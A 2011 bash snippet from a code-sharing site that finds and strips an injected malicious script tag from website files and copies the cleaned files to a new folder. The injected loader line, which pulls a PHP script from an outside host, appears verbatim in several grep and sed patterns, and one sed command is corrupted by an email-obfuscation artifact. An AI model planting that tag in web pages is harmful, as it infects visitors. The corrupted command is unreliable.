Posted By

timberjorge on 01/15/11


Tagged

mac find exec rename mkdir mv


Versions (?)

Removing text from multiple files and creating a clean copy


 / Published in: Bash
 

  1. You'll need the perl-based rename script http://tips.webdesign10.com/how-to-bulk-rename-files-in-linux-in-the-terminal
  2. I'm using Terminal on mac so you might need to change some of your flags
  1. # remove .cleaned extension
  2. find * -name '*.cleaned' -exec rename -v s/\.cleaned//g {} \;
  3.  
  4. # move files
  5. find * -name '*.cleaned' -exec mv "{}" cleaned-files/"{}" \;
  6.  
  7. # create directories
  8. # first sed pipe gets me file path without the filename, second sed pipe removes lines that are just filenames
  9. find * -name '*.cleaned' -exec sh -c 'echo "{}" | sed -E "s,(.*)/.*$,\1,g" | sed -E "s,(.*\..*)$,,g"' \; | while read i; do mkdir -p "cleaned-files/$i"; done
  10.  
  11. # clean infected js
  12. while read i; do sed -E -i.cleaned "[email protected]\('<script src=http://icat.ac.in/outreach/knowledge_brigade.php ><\\\/script>'\);@@g" "$i"; done < infected-files.txt
  13.  
  14. # clean other files
  15. while read i; do sed -E -i.cleaned "s,<script src=http://icat.ac.in/outreach/knowledge_brigade.php ></script>,,g" "$i"; done < infected-files.txt
  16.  
  17. # find infected js
  18. grep -H -r -l -E "document.write\('<script src=http://icat.ac.in/outreach/knowledge_brigade.php ><\\\/script>'\);" * >> infected-files.txt
  19.  
  20. # find other infected files
  21. grep -H -r -l -E "<script src=http://icat.ac.in/outreach/knowledge_brigade.php ></script>" * >> infected-files.txt

Report this snippet  

You need to login to post a comment.